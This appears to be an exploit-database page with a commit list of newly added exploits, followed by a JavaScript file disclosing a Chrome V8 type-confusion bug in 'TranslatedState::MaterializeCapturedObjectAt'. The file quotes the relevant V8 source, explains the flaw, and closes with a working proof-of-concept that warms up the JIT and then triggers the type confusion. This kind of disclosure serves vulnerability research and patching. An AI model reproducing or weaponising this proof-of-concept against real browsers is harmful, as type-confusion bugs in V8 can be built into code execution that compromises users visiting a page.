5d48f0abd2
16 changes to exploits/shellcodes Transmission - Integer Overflows Parsing Torrent Files Chrome V8 - 'PropertyArray' Integer Overflow Chrome V8 - 'TranslatedState::MaterializeCapturedObjectAt' Type Confusion Asterisk chan_pjsip 15.2.0 - 'INVITE' Denial of Service Asterisk chan_pjsip 15.2.0 - 'SDP' Denial of Service Asterisk chan_pjsip 15.2.0 - 'SDP fmtp' Denial of Service Asterisk chan_pjsip 15.2.0 - 'SUBSCRIBE' Stack Corruption Microsoft Windows Windows 8.1/2012 R2 - SMB Denial of Service Sony Playstation 4 4.55 FW - Local Kernel GetGo Download Manager 5.3.0.2712 - Buffer Overflow (SEH) Schools Alert Management Script 2.0.2 - Authentication Bypass MyBB My Arcade Plugin 1.3 - Cross-Site Scripting Joomla! Component K2 2.8.0 - Arbitrary File Download School Management Script 3.0.4 - Authentication Bypass CMS Made Simple 2.1.6 - Remote Code Execution Concrete5 < 8.3.0 - Username / Comments Enumeration
61 lines
No EOL
2.1 KiB
JavaScript
61 lines
No EOL
2.1 KiB
JavaScript
/*
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Here'a snippet of TranslatedState::MaterializeCapturedObjectAt.
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case JS_SET_KEY_VALUE_ITERATOR_TYPE:
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case JS_SET_VALUE_ITERATOR_TYPE: {
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Handle<JSSetIterator> object = Handle<JSSetIterator>::cast(
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isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED));
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Handle<Object> properties = materializer.FieldAt(value_index);
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Handle<Object> elements = materializer.FieldAt(value_index);
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Handle<Object> table = materializer.FieldAt(value_index);
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Handle<Object> index = materializer.FieldAt(value_index);
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object->set_raw_properties_or_hash(*properties);
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object->set_elements(FixedArrayBase::cast(*elements));
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object->set_table(*table);
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object->set_index(*index);
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return object;
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}
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case JS_MAP_KEY_ITERATOR_TYPE:
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case JS_MAP_KEY_VALUE_ITERATOR_TYPE:
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case JS_MAP_VALUE_ITERATOR_TYPE: {
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Handle<JSMapIterator> object = Handle<JSMapIterator>::cast(
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isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED));
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Handle<Object> properties = materializer.FieldAt(value_index);
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Handle<Object> elements = materializer.FieldAt(value_index);
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Handle<Object> table = materializer.FieldAt(value_index);
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Handle<Object> index = materializer.FieldAt(value_index);
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object->set_raw_properties_or_hash(*properties);
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object->set_elements(FixedArrayBase::cast(*elements));
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object->set_table(*table);
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object->set_index(*index);
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return object;
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}
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For these 5 types, it doesn't cache the created objects like "slot->value_ = object". This can be used to create different objects but sharing the same properties which may lead to type confusion.
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PoC:
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*/
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function opt(b) {
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let iterator = new Set().values();
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iterator.x = 0;
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let arr = [iterator, iterator];
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if (b)
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return arr.slice();
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}
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for (let i = 0; i < 100000; i++)
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opt(false);
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let res = opt(true);
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let a = res[0];
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let b = res[1];
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print(a === b); // false
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a.x = 7;
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print(b.x); // 7
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a.a = 1.1; // transition
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b.b = 0x1234;
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a.a = 1.1; // type confusion
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